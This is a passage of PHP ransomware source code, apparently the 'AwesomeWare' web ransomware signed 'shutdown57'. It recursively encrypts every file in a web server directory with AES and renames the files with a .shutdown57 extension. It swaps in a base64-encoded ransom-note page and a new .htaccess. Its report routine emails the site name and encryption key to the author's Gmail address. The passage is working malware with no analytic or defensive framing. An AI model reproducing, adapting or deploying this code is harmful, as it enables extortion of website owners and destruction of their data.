.htaccess (Default Page)
';
}
if(file_put_contents("shutdown57.php", base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgPHRpdGxlPkhpICEgc2h1dGRvd241NyA6
KjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkgewogICAgYmFja2dyb3VuZDog
IzFBMUMxRjsKICAgIGNvbG9yOiAjZTJlMmUyOwp9CmF7CiAgIGNvbG9yOnJlZDsKICAgdGV4dC1k
ZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXJ7CiAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7
Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPHByZT48Zm9udCBjb2xvcj1yZWQ+
CiAgX19fX19fX19fX19fX19fICAgICAgICAgIHwqXF8vKnxfX19fX19fXwogfCAgX19fX19fX19f
X18gIHwgICAgICAgIHx8Xy8tXF98X19fX19fICB8CiB8IHwgICA+ICAgPCAgIHwgfCAgICAgICAg
fCB8ICAgMCAgIDwgICB8IHwKIHwgfCAgICAgLSAgICAgfCB8ICAgICAgICB8IHwgICAgIC0gICAg
IHwgfAogfCB8ICAgXF9fXy8gICB8IHwgICAgICAgIHwgfCAgIFxfX18vICAgfCB8CiB8X19fX198
XF8vfF9fX19ffCAgICAgICAgfF9fX19fX19fX19fX19fX3w8L2ZvbnQ+CiAgLyAqKioqKioqKioq
IFwuLi4uLi4uLi4uLiAvICoqKioqKioqKiogXAovICAqKioqKioqKioqKiogIFwgICAgICAgIC8g
ICoqKioqKioqKioqKiAgXAotLS0tLS0tLS0tLS0tLS0tLS0tLSAgICAgIC0tLS0tLS0tLS0tLS0t
LS0tLS0tCistLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsK
ICAgWyA8YSBocmVmPSdtYWlsdG86aW5kb25lc2lhbnBlb3BsZS5zaHV0ZG93bjU3QGdtYWlsLmNv
bSc+aW5kb25lc2lhbnBlb3BsZS5zaHV0ZG93bjU3QGdtYWlsLmNvbTwvYT4gXQorLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwp8IFRoaXMg
cGFnZSBoYXMgYmVlbiBMb2NrZWQgISBSZWFkIG1vcmUgYWJvdXQgPGEgaHJlZj0iaHR0cHM6Ly9l
bi53aWtpcGVkaWEub3JnL3dpa2kvUmFuc29td2FyZSIgdGFyZ2V0PSJfYmxhbmsiPnJhbnNvbWV3
YXJlPC9hPiB8CnwgSG93IHRvIHJlc3RvcmUgdGhlIGJlZ2lubmluZz8gICAgICAgfCsrKysrKysr
KysrKysrKysrKyt8CnwgUGxlYXNlIGNvbnRhY3QgdXMgdmlhIGVtYWlsIGxpc3RlZCAgfCAgICAg
c2h1dGRvd241NyAgICB8CistLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0rCjwvcHJlPgo8L2NlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==
"))){
echo '
shutdown57.php (Default Page)
';
}
}
}
public function shcpackUnstall(){
if( file_exists(".htashutdown57") ){
if( unlink(".htaccess") && unlink("shutdown57.php") ){
echo '
.htaccess (Default Page)
';
echo '
shutdown57.php (Default Page)
';
}
rename(".htashutdown57", ".htaccess");
}
}
public function plus(){
flush();
ob_flush();
}
public function locate(){
return getcwd();
}
public function shcdirs($dir,$method,$key){
switch ($method) {
case '1':
deRanSomeware::shcpackInstall();
break;
case '2':
deRanSomeware::shcpackUnstall();
break;
}
foreach(scandir($dir) as $d)
{
if($d!='.' && $d!='..')
{
$locate = $dir.DIRECTORY_SEPARATOR.$d;
if(!is_dir($locate)){
if( deRanSomeware::kecuali($locate,"awesome1945.php") && deRanSomeware::kecuali($locate,".png") && deRanSomeware::kecuali($locate,".htaccess") && deRanSomeware::kecuali($locate,"shutdown57.php") && deRanSomeware::kecuali($locate,"index.php") && deRanSomeware::kecuali($locate,".htashutdown57") ){
switch ($method) {
case '1':
deRanSomeware::shcEnCry($key,$locate);
deRanSomeware::shcEnDesDirS($locate,"1");
break;
case '2':
deRanSomeware::shcDeCry($key,$locate);
deRanSomeware::shcEnDesDirS($locate,"2");
break;
}
}
}else{
deRanSomeware::shcdirs($locate,$method,$key);
}
}
deRanSomeware::plus();
}
deRanSomeware::report($key);
}
public function report($key){
$message.= "========= Report Ransomware =========\n";
$message.= "Website : ".$_SERVER['HTTP_HOST'];
$message.= "Key : ".$key;
$message.= "========= Indonesian (2017) Ransomware =========\n";
$subject = "Report Ransomeware !";
$headers = "From: Ransomware
\r\n";
mail("indonesianpeople.shutdown57@gmail.com",$subject,$message,$headers);
}
public function shcEnDesDirS($locate,$method){
switch ($method) {
case '1':
rename($locate, $locate.".shutdown57");
break;
case '2':
$locates = str_replace(".shutdown57", "", $locate);
rename($locate, $locates);
break;
}
}
public function shcEnCry($key,$locate){
$data = file_get_contents($locate);
$iv = mcrypt_create_iv(
mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC),
MCRYPT_DEV_URANDOM
);
$encrypted = base64_encode(
$iv .
mcrypt_encrypt(
MCRYPT_RIJNDAEL_128,
hash('sha256', $key, true),
$data,
MCRYPT_MODE_CBC,
$iv
)
);
if(file_put_contents($locate, $encrypted )){
echo ' Locked (Success) | '.$locate.'
';
}else{
echo ' Locked (Failed) | '.$locate.'
';
}
}
public function shcDeCry($key,$locate){
$data = base64_decode( file_get_contents($locate) );
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
$decrypted = rtrim(
mcrypt_decrypt(
MCRYPT_RIJNDAEL_128,
hash('sha256', $key, true),
substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),
MCRYPT_MODE_CBC,
$iv
),
"\0"
);
if(file_put_contents($locate, $decrypted )){
echo ' Unlock (Success) | '.$locate.'
';
}else{
echo ' Unlock (Failed) | '.$locate.'
';
}
}
public function kecuali($ext,$name){
$re = "/({$name})/";
preg_match($re, $ext, $matches);
if($matches[1]){
return false;
}
return true;
}
}
if($_POST['submit']){
switch ($_POST['method']) {
case '1':
deRanSomeware::shcdirs(deRanSomeware::locate(),"1",$_POST['key']);
break;
case '2':
deRanSomeware::shcdirs(deRanSomeware::locate(),"2",$_POST['key']);
break;
}
}else{
?>
AwesomeWare - indonesianpeople
indonesianpeople.shutdown57[at]gmail[dot]com